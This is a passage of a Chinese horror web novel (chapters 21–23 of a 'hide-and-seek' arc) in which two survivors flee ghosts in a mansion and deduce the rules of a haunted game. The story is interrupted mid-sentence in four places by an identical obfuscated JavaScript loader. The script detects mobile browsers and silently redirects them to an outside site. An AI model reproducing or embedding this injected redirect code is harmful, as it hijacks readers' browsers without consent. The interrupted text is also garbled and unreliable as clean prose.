沉重的脚步声越来越近,生死关头,洛晚反而摒弃了畏惧,头脑出奇冷静。她从裤兜里掏出钥匙,打开钥匙串上的多功能折叠刀快速切断脚上的长发,而此时男鬼已经走出别墅,距她只有4步远。 ——不,她决不能死在这里! 洛晚咬紧牙,猛然弹起朝后跑。她轻巧地翻过凉亭的栏杆,转过石桌,又从另一侧栏杆翻出去,按照脑中规划的路线一口气绕到后院,逃进客厅,迅速跑上了楼。 从跳起到上楼,这整个过程只花了10秒,她开始时能听到男鬼“哒”“哒”地追在身后,但后来脚步声却奇异地消失了。 洛晚不敢回头,她跑到2楼时顿了顿,正在犹豫要不要继续往上跑,靠近楼梯的房间里却忽然伸出一只手,一把抓住了她的胳膊! “嘘!”王彬将她扯进房间,竖起食指比了个噤声的动作:“他马上就要上来了!” 洛晚惊魂未定地看着他,心脏激烈地怦怦乱撞,几秒后才迟钝地点点头。 ——得救了。 她竟然活下来了。 虽然不知道刚刚转身后发生了什么,但……她本以为自己会死在院子里。 在那种绝境下,她心里十分清楚,一切努力都是徒劳,她迟早会被鬼抓住,可没想到……活着!她依然活着! 双腿后知后觉地发软打颤,洛晚的眼睛有些酸。她脱力地靠到门板上,徐徐地吐出一口气。 他们眼下正躲在2楼的客房里,夜光透过落地门倾泻而入,将不大的房间映照得幽暗暧昧。屋子里的家具不多,房间中央有一张大床,靠墙摆着两个储物柜。 这里有明显的翻找痕迹,由此能断定鬼魂曾经到访过。王彬正把耳朵贴在墙上,警惕地注意着外间的动静。 洛晚克制好翻涌的情绪,悄无声息地走到床边。之前为了寻找玩偶,她曾在门口快速扫过一眼。这间卧室小而简单,一眼就能看到底,而且它还紧邻楼梯,实在不是躲藏的好地方。 她弯腰看向床下,地板上空荡荡的,带着潮气的霉味扑鼻而来。洛晚用手扇了扇,直起腰后冲王彬指指闭合的储物柜——你检查过吗? 王彬摇摇手,指着手表比出几个数字——没有,我1:16才进来。 洛晚点点头,回以一个“小心”的口型,接着走到储物柜前,无声地拉开三个抽屉。 空空如也。 木质的抽屉里奇异地干燥,内壁上涂满了杂乱的线条。她借着月光辨认一会儿,勉强看清了几句诅咒: “去死去死去死!” “没有人能活着出去!” “生者勿入!” “5个全都留下吧!” …… 洛晚皱起眉,示意王彬过来看,对方却再次摇摇手,面孔苍白地让她噤声。 “哒”“哒”“哒”…… 楼梯上响起脚步声,有什么正在朝上走。 洛晚的手指轻颤一下,呼吸顿时粗重起来。 她一手捂紧口鼻,一手朝王彬指指房门下3cm宽的缝隙——小心鬼从下面往里看。 王彬读懂了她的意思,又趴在墙上听了几秒,这才蹑手蹑脚地走过来。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13983838|148274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们此刻正站在床与衣柜间的空地上,如果有人趴在外面通过门缝偷窥,视线正好会被衣柜挡住。两个人竖起耳朵紧张地聆听,“哒”“哒”“哒”…… 脚步声来到2楼后略微顿了顿,接着继续朝上走,越来越远,直奔顶层。 洛晚与王彬对视一眼,同时升起一股后怕与庆幸。王彬疲惫地靠到衣柜上,可柜门却忽然向后旋转,他重心不稳地趔趄几步,差点摔进衣柜里。 洛晚眼疾手快地拉住他,以气音问道:“怎么了?” 王彬站稳后及时扶住柜门,以免它发出撞击声。他皱起眉,同样以气音回道:“之前不这样。” 洛晚思考了几秒,冲他指指衣柜——要打开吗? 王彬踌躇了一下,后退半步点点头。 两个人一左一右,每人勾住半扇柜门,慢而无声地一齐拉开—— 暗淡的夜色中,一具尸体混在女士大衣间,晃晃悠悠地吊在横杆上。 洛晚猝然睁大眼,不可置信地张了张嘴。她惊惧地望向王彬,却发现后者虽然神色哀痛,但并不怎么惊讶。 ——这具吊挂的男尸,正是徐凯。 他的后衣领被铁钩挂起,身体从腰部别扭地弯曲成“U”形,就像一块没有夹心的饼干。随着柜门的开启,尸体的正脸慢慢转到光线下,洛晚对上他变形的面孔,脊背不禁发冷。 徐凯原本是国字脸,可现在却怪异地变成了三角脸,他的下颌骨扭曲碎裂,脸皮松垮垮地垂下来;他的嘴巴不正常地张成“O”形,嘴角横向裂开,鲜血淋漓;然而,最让人害怕的却是他的眼神—— 阴森、怨毒,饱含着诅咒与恶意。 这不像是他们认识的徐凯,反倒更像是仇恨着所有生者的鬼魂。 洛晚抿紧唇,轻轻阖起了衣柜的门。她转向王彬,正想问问他对此了解些什么,耳畔却突然响起敲门声: “当”“当”“当”。 只有三下,规律而客气。 两个人惊惶地对视一眼,谁都没动弹。门外静了静,几秒后响起徐凯的声音:“别装了,我知道里面肯定有人。是我,快点儿给我开门!” 房门“哐”“哐”被撞了几下,外面的声音继续道:“王彬,是你吗?还是洛晚?我是徐凯,我找到诅咒的根源了,你先把门打开,快点儿,鬼就在楼上,随时都会下来!” 他说话的声音低而急促,音色与徐凯完全相同,若非刚见过徐凯的尸体,洛晚说不定会被骗过去。 她之前从没遇到过鬼魂假扮成人类的情况,没想到居然还会这样……那么,身边的王彬呢? 他是真的还是假的? 洛晚攥了一下拳,心中升起浓重的戒备。她佯装无意地看向王彬,却发现对方也正警惕地盯着自己。 这反倒让她安心了许多。 门外的东西喊完话后等了半分钟,大概是认为房间里确实没有人,所以又“当”“当”“当”地去敲对面的门:“王彬,是你吗?还是洛晚?我是徐凯,我找到诅咒的根源了,你先把门打开……” 21. 捉迷藏(十五) 幽暗的深夜里,洛晚和王彬躲在白家公馆2楼的客房中,听着伪装成徐凯的鬼魂在走廊上挨个敲门。 2楼有2间卧室、1间玩具房和1个小厅,“徐凯”此时已经问到了走廊尽头的玩具房:“……我找到诅咒的根源了,你先把门打开,快点儿,鬼就在楼上,随时都会下来!” 声音落下,一片死寂。 两个人紧张地屏住呼吸,竖着耳朵聆听外面的动静。 鬼魂拥有物理力量,完全可以破门而入,没必要用这种客气的方式诱哄委托者开门,除非受到了某种约束……而眼下,哄骗无果,他会怎么办? 洛晚的心中有个模糊的猜测,但她不敢确定。门外,预想中的剧烈撞击并没出现,长廊上静悄悄的,夜风贴着地面呜呜咽咽地盘旋,一切仿佛都不曾发生。 时间一分一秒地过去,王彬终于忍耐不住,小声问:“你怎么看?” 洛晚谨慎道:“鬼可能离开了,也可能藏在暗处。只要我们不开门,就能暂时保证安全。” 她虽然年轻,但性格非常沉稳,说话滴水不漏,从不轻易发表主观意见。王彬焦躁地皱起眉,不死心地追问:“你没感应到什么吗?” 洛晚奇怪地看着他:“我能感应到什么?” “别装了,现在只剩下咱们2个,你还不打算说实话吗?” “……我不明白你的意思。” 王彬盯着她,一字一顿道:“你是灵媒。” 洛晚指尖微颤,但表情却毫无异样:“嗯,黄家的人确实这样讲过,但我并没什么特殊的能力,和普通人没有任何区别……” “别想拿这套谎话糊弄我!”王彬突然掐住她的脖子,狠狠地把她掼到墙壁上:“连你的命都是老子救的,少在这儿和我打马虎眼!” 洛晚的后脑重重磕在墙上,“砰”的一声,钝痛扩散,眼前立刻一阵阵发黑。 “咳咳咳……你、你先……放开咳咳……”她呼吸困难,双颊憋得通红,奋力去掰王彬的手,奈何男女体力悬殊,王彬反倒掐得更紧:“说!灵媒到底是什么?” 他神色狰狞,咬牙切齿,眼底发红,明显是精神受到刺激后陷入了病态的亢奋。这个时候不能硬碰硬,洛晚努力放松身体,轻拍他的手臂:“先、松松……” “你要是敢不老实,我马上就掐死你!”王彬恶狠狠地威胁着,手腕微松,洛晚立即捂住脖子咳嗽起来。 “小声点儿!”他态度恶劣地催促:“快说正事,待会儿鬼该找来了!” 喉咙里火辣辣的又疼又痒,洛晚捂着嘴压下咳嗽,哑着嗓子道:“黄海心,你知道吧?” 黄海心,锦安城黄家主事人的孙女,本地上流社会的名媛,高调肆意,张扬明艳,连不关注八卦的普通人都听过她的名字。 王彬狐疑地挑起眉:“你指的是黄先生的孙女?” “对。”洛晚垂下眼睫,简单道:“她与我男朋友青梅竹马,但我男朋友在车祸中为了保护我身受重伤,变成了植物人……黄小姐因此对我心怀怨恨,诱骗我加入了黄家暗中进行的灵媒试验。” “灵媒试验”是绝对的机密,连王彬也是第一次听说:“那是什么?” “我也不知道。”洛晚疲惫地闭上眼:“车祸发生不久后……大概是去年9月初,我在公司莫名晕倒,醒来后发现自己正躺在一个室内迷宫里。身边的人告诉我,这里正在进行‘灵媒试验’,迷宫里遍布着鬼魂,只要走出去就算成功。” “最后有多少人走出去?” “不清楚。我只知道自己是‘灵媒’,然后就拿到羊皮纸,卷入了委托中。” 事已至此,王彬不认为洛晚会继续撒谎。他捏紧拳,烦躁地在原地转了两圈:“我还以为灵媒起码能感应到鬼魂……结果竟然这么没用!” 洛晚抚摸着犹带掐痕的脖颈,小心地观察着他的脸色:“刚刚是你救了我?” “不然呢?”王彬冷笑:“如果不是我把玩偶扔下去,你恐怕已经变成第二个徐凯了。” 洛晚模拟着当时的情境:“你在顶楼?” ——他在顶楼扔下了的道具,生怕鬼魂找过去,因此才立即更换位置,躲到了2楼的卧室里。 “没错,那个时候我正站在大卧室的阳台上朝下望,接着就看到你匆匆忙忙地跑出来,鬼鬼祟祟地蹲在草丛里。” “那鬼呢?你看到我身后的男鬼和女鬼了吗?” “只看到了提着刀的男鬼。”王彬回头瞧瞧紧闭的房门,颇为忌讳地压低声音:“你好像被什么东西缠住了脚,直到男鬼走到面前才急冲冲地往后退。他举起刀时,我打开窗户扔下玩偶道具,正好砸中了男鬼的头……” 所以,紧追在身后的脚步声才会忽然消失。 尽管王彬刚才情绪失控差点儿掐死她,但他也确实救了自己一命,洛晚真诚地对他道谢:“……我在地下室里遇到了女鬼,但楼上还有男鬼,实在无路可逃,只好躲到院子里,顺便验证了一个想法。” “什么想法?” “鬼魂同样会互相残杀。”洛晚笃定道:“我亲眼看着女鬼的头被男鬼砍掉,滚落到草丛里,长发缠住了我的脚……但你后来却只看到了男鬼,并没看到女鬼,这说明她消失了。” 假如女鬼没有消失,即便王彬用道具封印住男鬼,在那种距离下,她也必死无疑。 “……鬼会被鬼砍死?”王彬扬起眉,显然对此不太相信:“可能是她离开了,或者……” “鬼的确会被鬼杀死,我有九成把握认定它是正确的。” 洛晚打断他,食指在墙壁上无意识地勾勾画画。她在脑中整理着思路,缓慢地开口道:“首先,所有鬼魂都仇恨着我们,所有鬼魂都会追杀我们。” “是的。” “截至目前,我遇见过长发女鬼和提刀男鬼。你呢?” “我在顶楼遇到了一个老太婆。”回忆起不久前的惊魂时刻,王彬的面孔不禁发白:“当时我正在书房里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13983839|148274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她猛然从桌子底下爬出来,一把扯住了我的脚……书房里杂物很多,我抄起手边的东西去砸她,运气不错,碰巧发现了玩偶能克制鬼魂。” 他后怕地呼出一口气,别有深意地盯着洛晚:“玩偶不多,我翻遍3楼也只找到了1个。如果刚刚遇险的不是你,我绝不会好心地伸出援手。” “……真的谢谢你!”洛晚再次道谢,顺着他的话头作出感激的模样:“放心吧,我不会让你失望的,一定会体现出相应的价值。” 王彬是个冷酷的利己主义者,心态在重压之下濒临崩溃,她的脖子到现在依然隐隐作痛。在走出这间卧室前,她必须先哄住他,否则很可能死在同伴手里。 眼下只有他们2个还活着,想到接下来不得不与他合作,洛晚忍不住暗自头疼。 “记住,你欠我一条命。”王彬重申道,对她的识相很满意:“所以,我们两个加起来,一共遇到了3个鬼……” “不,是4个。”洛晚轻声纠正:“还有一道影子,你也看见了吧?” “嗯,对……就在这间卧室里。” 两个人下意识看向地面,暗淡的天光下,他们的影子老老实实,被衣柜扭曲地折成两截。 这么久都没异样,这里安全得简直不正常。 洛晚隐隐有些担忧,她伸出双手,长话短说:“假设白家公馆中有4个鬼,那么他们至少应该分成两组——” 她举起左手:“第一组的特点是有脚步声,拥有物理力量,可以撞开房门,而且他们之间会相互残杀。” 的确,无论男鬼还是老太婆都有“哒”“哒”的脚步声和衣物摩擦声,王彬赞同地点点头。 “而第二组——”她又举起右手:“没有脚步声,擅长伪装,但物理力量有限,无法撞开房门,因此只能诱哄委托者主动开门。” “你觉得刚刚的‘徐凯’之所以走开,是因为打不开门?” “是的。”洛晚的声音压得极低:“鬼魂仇视所有生灵,这条规则绝不会改变。在仇恨对立的前提下,他们没有理由放过我们,除非是力所不能及——” 王彬皱起眉,直觉她的判断大胆而草率。他想张口反驳,但一时间又无话可说。 他们要如何验证结论?用命去证实吗? “你还记得吗?刚刚的敲门声是凭空出现的。2楼有3个房间,‘徐凯’敲了三次门,但中间更换位置时,我们并没听到他的脚步声。”洛晚仔细回想着细节:“其他鬼魂虽然也会突然出现,可一旦被我们发现,就会留下痕迹——比如,女鬼和提刀男鬼有脚步声,影子在有光的地方会显形……” “这太牵强了。”王彬烦躁地抹了把脸:“鬼就是鬼,根本没必要分类,5次委托的难度是递增的,后期出现多个鬼魂也没什么不正常。你有这些研究鬼魂的精力,不如多琢磨琢磨诅咒的源头。” 他的气息逐渐粗重,如困兽般在原地打转:“太安静了,太不对劲了……我受不了了,我要出去看看!” 22. 捉迷藏(十六) 委托者们只要完成5次委托就能重获自由。这是王彬的第4次,他离解脱最近,也比其他人的压力都要大。 他破釜沉舟地朝外走,却被洛晚一把拉住:“别冲动!起码……先观察一下。” 她指指房门下3cm宽的缝隙,“呶,那里,聊胜于无。” 没有人愿意毫无准备地白白去送死,王彬顿住脚步,充血的脑子迅速冷却。他弯下/身子朝外看,可视野有限,走廊上一片漆黑:“不行,什么都看不到……妈的!那东西到底去了哪儿?” 他暴躁地直起身,犹豫几秒后趴到地上:“洛晚。” “嗯?” 他把一只胳膊递过去:“待会儿要是情况不对,你立刻把我往里拉。” “好,我尽力。”洛晚紧紧握住他的手臂:“要开手电吗?” “……开吧。” “啪嗒”,白亮的光线瞬间刺破黑暗。 王彬紧挨着房门趴到地上,贴地平举手电,转动手腕努力向外望。白家公馆的走廊不算宽,勉强能容2人并行,别墅里没有门对门的设计,因此从门下看出去,只能瞧见对面雪白的墙壁。 他屏住呼吸,上上下下地调整角度,可门外却空荡荡的,只有灰尘在光柱中飞舞。 “他好像走了。”王彬轻声道:“外面什么都没……” 他的话还没说完,门缝里突然多出一只细瘦的小手! 王彬的瞳孔骤然缩紧,手电的白光跟着晃了几下。他本该立即躲回房间,可身体却因为恐惧而僵住,四肢软绵绵的不听使唤。 “嘻嘻,嘻嘻嘻……” 耳边模模糊糊地响起小孩子尖细的笑,王彬面孔苍白,牙关紧闭,不自觉地瞪大眼—— 一张青白的脸缓缓凑过来,几乎与他面贴着面。他的脸很小,下巴尖尖的,眼睛占了整张脸的一大半,黑漆漆的眼球中只有一点针尖大的白色瞳孔。 “找、到、你、了,嘻嘻……” 他咧开嘴,笑声愈发尖利,细小的白色瞳孔四处乱转。隔着薄薄的门板,王彬甚至能感受到对方冰冷的气息。 “救、救……咯咯救……鬼……” 他神情恐惧,嘴唇不停颤动,想要大声呼救,可叫喊却堵在喉咙里,只能发出“咯咯”的微弱气音。 房间里,洛晚见王彬久久不动,终于意识到不对劲。她用力把王彬往里拖,直到离门有数米远,才气喘吁吁地停下来:“王彬,王彬?” 她捡起手电去照王彬的脸,只见后者大大地睁着眼,表情扭曲,嘴唇发青,涎水顺着嘴角往下流。 这明显是惊吓过度的模样。 洛晚皱紧眉,关掉手电用力掐他的人中,低低呼唤他的名字。许久后,王彬剧烈地颤抖一下,双眼渐渐恢复了神采。 “鬼、门外……他就在门外!” 他神经质地扭过头,猛地攥住洛晚的胳膊:“你说的对,他打不开门,所以一直在外面……他在等着我们主动出去!” 王彬的手又冷又潮,五指微微发抖,掌心里全是冷汗。洛晚安抚地握住他的手,大概猜到他看见了什么:“门外的是哪一个?女人、男人、黑影还是老人?” “是个孩子。”王彬的眼神呆呆的,显然还没缓过来:“他……看上去不大,四五岁的样子,声音很尖……” “声音?”洛晚一愣:“可我什么也没听到。” “他说,‘找到你了。’”王彬的嘴唇哆嗦了一下:“那声音飘飘渺渺,又尖又细,听不出性别……你没听到?” “没有。” 他的眼珠缓慢转动了一下:“所以,这是对我的……唔!” 洛晚忽然一把捂住他的嘴,冲他比了个噤声的手势。 “哒”“哒”“哒”…… 一墙之外,楼梯上响起有规律的脚步声。 两个人对视一眼,眼底同时升起惊惧——那个男鬼下来了。 他们能在卧室里安稳地躲到现在,完全是因为门口的小鬼能力有限,无法开启房门,可男鬼是拥有物理力量的!万一他们联手…… 洛晚不敢再想下去,她四肢冰凉,一颗心不断往下沉。 不……还没到无路可逃的境地,眼下并不是毫无生路。她应该相信自己,如果她的推理无误,那么门外的两个鬼必定不会合作,相反……他们绝对会相互残杀,而且是小鬼获胜! 洛晚狠狠咬了下舌尖。她轻手轻脚地走到门边,竖起耳朵聆听外面的动静。 “哒”“哒”“哒”…… 脚步声来到2楼后,停住了。 时间一分一秒地过去,门外却静悄悄的,毫无响动。绝望一点点将人淹没,就在洛晚惨然地觉得自己或许该认命时,却突然听到一阵“嘻嘻嘻”的笑声。 这阵笑声飘飘渺渺,又尖又细,与王彬的描述完全相同。它丝毫没有孩子的可爱天真,反而充满了嘲讽与恶意。 洛晚却精神一振,扭头对王彬低声道:“准备出去。” “……什么?” “第、三、个,找、到、了。” 毫无感情的冰冷声音如预想般响起,洛晚的心脏怦怦乱撞。她一把拉开门:“快走!” 王彬震惊地看着她,“你……” “这是唯一的机会!”说话间,她已经跑出了房间:“鬼刚抓到一个对象,现在正是安全期,快跑!” 虽然没弄懂她在说什么,但出于信任,王彬还是大步跟了上去:“你说‘鬼刚抓到一个对象’是什么意思?” “鬼与鬼是不同的,别墅中虽然存在着多个鬼魂,但游戏‘捉迷藏’里真正的‘鬼’只有一个,是那个无法开门的孩子,他可以猎杀所有存在。”洛晚语速飞快,她的头脑此时无比清醒:“换句话说,在这场游戏中,我们和其他鬼魂全是躲藏者。” 她跑到楼梯口后顿住脚步,扭头问:“去楼上还是楼下?” 王彬正在琢磨她的意思,条件反射地回答道:“楼上。” “好。”洛晚毫不犹豫地往上跑。尽管勘破了“捉迷藏”的真相,但她目前对破解诅咒毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13983840|148274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头绪,而王彬毕竟是完成过4次委托的老人,在生死攸关时值得信任。 “你是说,这次委托的实质是陪那个小鬼玩游戏……而我们和其他鬼魂全要躲着他?” “没错!”洛晚的语气十分笃定:“道具往往与鬼魂密切相关,在知道道具是玩偶后,我就认为‘捉迷藏’中真正的‘鬼’应该是个孩子。可这幢别墅里偏偏存在着多个鬼魂,于是我有了新猜测:可能鬼与鬼之间会相互残杀。” 所有线索全都连到了一起,王彬若有所悟:“而男鬼杀死女鬼证实了你的猜想……” “对,但这样还不够,真正能确定猜测的是刚刚,男鬼的脚步声来到2楼后消失了,接着我听到门外有声音说‘第三个,找到了’——这说明你看到的那个孩子是捉迷藏中负责寻找其他同伴的‘鬼’,在他眼中人与鬼一样,全是游戏中的躲藏者,是排在一起计数的!” 他们此刻已经站在了顶楼的长廊上,洛晚的脚步慢下来:“鬼魂仇恨所有生灵,所以尽管都是躲藏者,但其他鬼魂却会追杀我们;按照‘捉迷藏’的规则,躲藏者被找到后会出局,因此男鬼在碰到孩子后,脚步声消失,成为了第三个被找到的对象。 “按照我们之前总结的规则,一旦有人死去,委托中就会出现一段短暂的‘安全期’,因而我刚才忽然有了一个想法——既然在小鬼眼中,躲藏者没有区别,那么他找到其他鬼魂后是不是也和委托者死去一样,存在着‘安全期’?” “……虽然听起来很有道理,但这完全没经过验证吧?”王彬脸色发白,看着她的眼神仿佛在看一个怪物:“仅仅是这样想一想,你就敢……去开门?” “我有六成把握确定自己能活下去,这已经足够了。”洛晚推开大卧室的门:“这很可能是唯一的机会,与其被困死在房间里,我宁可冒险试一试。” ——赌徒! 王彬抿起唇,默默在心里刷新了对她的认知。 “按照你说的,我们与其他鬼魂全是躲藏者的话,大家应该一起躲着小鬼才对,可你看到男鬼杀了女鬼吧?难道同为躲藏者的鬼魂间也会相互残杀?” “关于这点,我认为有3个原因。”洛晚沉吟着:“1.鬼魂不具有与活人相等的智慧,更像是凭借本能行事的野兽,所以没有躲藏的概念。” 王彬思考了几秒,赞同地点点头。在之前的委托中,他遇到的鬼魂甚至只走直路,不会转弯。 “2.他们在重复生前的死法——如果我在-1层找到的日记是真的,那么女鬼和老太婆很可能是这栋别墅的第一任女主人以及当时的保姆,而提着刀的男鬼则是杀了她们的歹徒……或者,他本来就是鬼,一直徘徊在这里……总之,他杀了她们,所以变成鬼相遇后,依然会重现生前的杀戮。” “这么说的话,女主人的丈夫……” “也被杀掉了,就在这幢别墅里,与女主人和保姆一样变成了怨灵。”洛晚冷静地走进卧室:“或者是那道黑影,或者是其他我们没见过的鬼魂……总之,他一定在这里!” 23. 捉迷藏(十七) 王彬思考着洛晚的推断,速度不知不觉间慢下来:“还有一种可能,女主人的丈夫也被提刀男鬼杀死了……诶,你来卧室干什么?” “你之前不是就在这儿吗?”洛晚顿住脚步环顾四周,目光停留在床边突兀的三层铁架上:“这个铁架,好像有点眼熟……” “1楼客厅里倒扣的画作,还记得吗?在那些画中,铁架旁边的墙壁上有一扇绘有符文的门,鬼魂正是从那扇门里出来的。” 王彬谨慎地站在卧室门口,不敢随便踏入,他生怕再被堵到房间里:“别墅中只有这一个铁架,我本以为那道门在这间屋子里,但……” “如果你指的是物理意义上的门……”洛晚抬手敲敲墙壁:“有门的话就意味着门后还有其他空间,可这扇墙很薄,一墙之外是连接着阳光房的玻璃顶长廊,似乎没有隐藏暗室的条件。” “鬼魂所在的空间说不定与人类的不同,不能用物理概念来衡量。”王彬保守道:“我们第一次打开羊皮纸后,不就突然进入了异空间吗?” “的确……”洛晚沉思着走出来:“那你打算怎么办?” “砸开那面墙。”王彬推开斜对面书房的门:“这里放着许多杂物,我找到了2把斧头……” “等等——”洛晚忽然拦住他:“你最后一次来到顶楼时,所有房间的门都是关着的吗?” 王彬一愣,扭头去看隔壁的小卧室,果然,房门紧闭,乍一看仿佛里面有人。 他胸口一跳,立刻警惕地后退,“不知道……我没注意那么多。” “2楼呢?”洛晚追问:“1点后2楼只有你去过,你关上了所有房间的门吗?” “没有。”王彬这次回答得很笃定:“别墅里的门只能从内反锁……” 话说一半,他突然顿住了。 是啊……从内反锁的门,他又是怎么推开的? “和我想的一样……我们是受到阳世保护的。” “什么意思?” 洛晚镇定地推开小卧室的门:“你考虑过委托究竟是什么吗?” “帮鬼魂完成心愿。”王彬目送她往里走,自己依然谨慎地站在走廊上:“依照我的理解,活人所在的阳世与鬼魂所在的阴世互不相通,所以鬼魂的愿望要由我们这些捡到羊皮纸的倒霉鬼们帮忙实现。” “没错,但阳世有阳世的规则,阴世有阴世的规则,就像黄家确认的,‘在委托时间外,阳世绝不会出现鬼魂’便是规则之一。” 王彬不耐地皱起眉:“你到底想说什么?” “以我们所在的白家公馆为例,在委托开始前,它处于阳世,但在委托开始后,它却会逐渐陷入阴世——也就是说,随着时间的推移,阳世规则对这里的制约将越来越小,鬼魂的力量会越来越强,这个地方对活人也会越来越排斥。” 洛晚打开手电,明亮的白光将她的神色映照得格外冷静:“我认为,反锁的房门是阳世规则给予生灵的提示和保护,所以鬼魂推不开,你却能轻易进入房间。而接下来,每一秒都会比上一秒更危险……我们必须尽快解除诅咒。” 王彬苦恼地皱起眉,他从没深入研究过规则的奥秘:“既然‘捉迷藏’的节奏受钟声控制,那把座钟砸烂,游戏是不是就结束了?——我是这么想的,也打算这样试试,可惜还没来得及付诸实践,躲藏时间就结束了。” 洛晚将手电照向书房,只见巨大的座钟被塞在角落,房间里堆满了乱七八糟的杂物。 “你还是进来吧。”她冲王彬招招手:“虽然室内也不安全,但起码能挡住小鬼,比站在外面好。” 王彬踯躅了一瞬,很快就听话地走了过去。他现在对洛晚十分信服,对方显然比自己更有主意。 “你觉得砸烂座钟可行吗?” “值得一试,但现在正是鬼抓人的时候,我们必须等到2点的钟声敲响后,在鬼魂不能行动时砸坏它。” 依照游戏规则,整点的钟声响起后是躲藏时间,鬼魂不能抓人;如果这种状态持续下去,那么他们就安全了。 ——当然,这是最理想的状况。 洛晚把手电放到床板上,从书房里搬出一把椅子:“先把杂物清理一下吧,2点之后,留给我们的时间说不定只有几秒钟,一旦错过就再也没机会了。” 书房与小卧室相连,两个人小心翼翼地把东西往外挪,静悄悄的,几乎没有碰撞声。 这种死寂实在太压抑,王彬紧张地舔舔嘴唇,忍不住低声开口:“这么简单……真的行吗?你也认为只要砸烂座钟就可以?” “合理利用规则来规避危险并不简单,至少我就没想到。”洛晚含蓄地恭维道:“每个看起来简单的方法背后都隐含着复杂缜密的逻辑。” 听到这话后,王彬的心情果然舒畅许多,紧绷的神经也放松了一些:“我的经验毕竟比你们丰富,要是连这都想不到,未免就太没用了……对了,关于男鬼为什么能杀死女鬼,你说你想到了三点原因,最后一点是什么?” “最后一点……它很重要,但我不太确定。”洛晚在脑中梳理着思路:“你注意到了吗?小鬼在抓到躲藏者后会报数,刚刚抓到男鬼时,他报出的是‘第三个’。” 王彬不解:“这又怎么样?” “你不觉得报数很奇怪吗?特地报出数字,还把鬼魂与人类计算在一起,这说明数字很重要……我怀疑其中暗含着某条规则——例如,鬼必须抓到5位躲藏者,捉迷藏才能结束。” 书房的杂物此时搬空了大半,小卧室里变得拥挤。洛晚靠在墙壁上,双眼盯着灰暗的天花板,“除了你我外,齐晨中途退出,顾梦瑶和徐凯死去了……满打满算的话,小鬼只抓到2个人……不,是1个,徐凯不是被他杀死的。” “为什么?” “徐凯的尸体吊在2楼卧室的衣柜里,他当时应该正躲在那儿,为了避免被找到,他一定会关紧房门,而小鬼是不能开门的……徐凯八成是被同为躲藏者的其他鬼魂杀死了。” 她伸出双手举到王彬眼前:“假设小鬼必须要抓到5位躲藏者,而别墅里有5位委托者和5个鬼魂,那么想让游戏正常结束的话,他需要抓到5个鬼魂,或者4个鬼魂和1位委托者、3个鬼魂和2位委托者、2个鬼魂和3位委托者……以此类推。 “鬼魂间相互残杀会使鬼魂的数量减少,而在必抓总数不变的条件下,每少1个鬼魂,就要多抓一个活人——你懂了吗?这是在变相增加我们被抓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13983841|148274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概率。” “那现在……”王彬失神地喃喃:“只剩我们2个了。” “是的。”洛晚深吸一口气:“目前基本能够确定,小鬼抓到的3个躲藏者是顾梦瑶与2个鬼魂,我们最好希望鬼魂再多些……但恐怕已经晚了。” “……晚了?” 洛晚看了眼时间:“现在是1:58,我们在3楼呆了24分钟,其间并没有刻意隐藏行迹,但你不觉得过分安全了吗?” “……因为鬼魂变少了,对吗?” “对。”洛晚去屋角拎起斧头,“这幢别墅里,很可能只剩下1个鬼了。” ——“捉迷藏”中负责抓人的真正的“鬼”。 “这样不是很好吗?只要我们锁紧房门,他就进不来!”王彬神经质地扭过头,大步去检查书房的门锁:“他打不开门,而打得开门的鬼魂又不在了……” “哐当”! 他的话音还没落,门锁忽然毫无征兆地崩断,房门缓缓被推开。 王彬恐惧地瞪大眼,话语全都堵到了嗓子里。 洛晚焦急地看着时间——1:59:28。 一只小手按在门框上。 “嘻嘻嘻……” 耳边模模糊糊地响起小孩子的笑,飘飘渺渺,又尖又细,充满了嘲讽与恶意。 一个脑袋慢慢地探进来。 他只有成年人的膝盖高,又瘦又小,浑身青白,眼睛占了整张脸的一大半,黑漆漆的眼球中只有一点针尖大的白色瞳孔。 “找、到、你、了,嘻嘻……” 1:59:36。 “不、不……”王彬惊恐地朝后退,却被洛晚重重地拍了一下:“快把门口堵住!” 